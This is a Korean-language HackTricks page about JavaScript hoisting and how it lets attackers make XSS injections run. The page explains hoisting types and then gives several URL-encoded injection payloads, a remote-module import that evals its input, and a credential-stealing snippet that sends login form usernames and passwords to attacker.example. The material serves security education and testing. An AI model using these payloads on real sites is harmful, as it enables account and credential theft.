JS Hoisting
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
JavaScript 언어에서는 Hoisting이라는 메커니즘이 있어 변수, 함수, class 또는 imports의 선언이 코드 실행 전에 해당 스코프의 맨 위로 끌어올려진다고 개념화됩니다. 이 과정은 JavaScript 엔진이 스크립트를 여러 패스로 처리하면서 자동으로 수행됩니다.
첫 번째 패스에서는 엔진이 코드를 파싱하여 문법 오류를 검사하고 이를 추상 구문 트리(AST)로 변환합니다. 이 단계에는 hoisting이 포함되며, 특정 선언이 실행 컨텍스트의 상단으로 이동되는 과정입니다. 파싱 단계가 성공적으로 완료되어 문법 오류가 없으면 스크립트 실행이 진행됩니다.
다음 사항을 이해하는 것이 중요합니다:
- 실행이 일어나려면 스크립트에 문법 오류가 없어야 합니다. 문법 규칙을 엄격히 준수해야 합니다.
- hoisting으로 인해 스크립트 내 코드의 배치가 실행에 영향을 미치므로, 실제로 실행되는 코드는 텍스트상 표현과 다를 수 있습니다.
Hoisting의 유형
MDN의 정보에 따르면, JavaScript에는 네 가지 구별되는 hoisting 유형이 있습니다:
- Value Hoisting: 선언 줄 이전에 스코프 내에서 변수의 값을 사용할 수 있게 합니다.
- Declaration Hoisting: 선언 이전에 스코프 내에서 변수를 참조해도
ReferenceError
가 발생하지 않게 하지만, 변수의 값은undefined
가 됩니다. - 이 유형은 실제 선언 줄 이전에 변수 선언이 이루어짐으로써 스코프 내 동작을 변경합니다.
- 선언의 부수 효과(side effects)가 선언을 포함하는 나머지 코드가 평가되기 전에 발생합니다.
자세히 보면, 함수 선언은 유형 1의 hoisting 동작을 보입니다. var
키워드는 유형 2 동작을 보입니다. let
, const
, 및 class
를 포함하는 lexical 선언은 유형 3 동작을 보입니다. 마지막으로, import
문은 유형 1과 유형 4 동작을 모두 가진 채로 hoisted되는 것이 특징입니다.
시나리오
따라서 Inject JS code after an undeclared object가 사용되는 시나리오가 있다면, 해당 객체를 선언하여 fix the syntax할 수 있으며(이렇게 하면 에러를 던지지 않고 대신 여러분의 코드가 실행됩니다):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
더 많은 시나리오
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if (config) {
return
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config
;`-alert(1)` //`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:
"https://try-to-catch.glitch.me/" +
`
let config;` -
alert(1) -
`//` +
"",
},
})
}
trigger()
const로 이름을 잠가 이후 선언을 차단하기
만약 최상위의 function foo(){...}
가 파싱되기 전에 코드를 실행할 수 있다면, 동일한 이름으로 렉시컬 바인딩(예: const foo = ...
)을 선언하면 이후의 function 선언이 해당 식별자를 다시 바인딩하는 것을 방지합니다. 이것은 페이지 후반에 정의된 중요한 핸들러를 탈취하기 위해 RXSS에서 악용될 수 있습니다:
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
노트
- 이는 실행 순서와 전역(최상위) 스코프에 의존합니다.
- 페이로드가
eval()
내부에서 실행되는 경우,eval
내부의const/let
는 블록 스코프이며 전역 바인딩을 생성하지 않습니다. 진정한 전역const
를 생성하려면 코드를 가진 새로운<script>
요소를 주입하세요.
참조
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
- From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.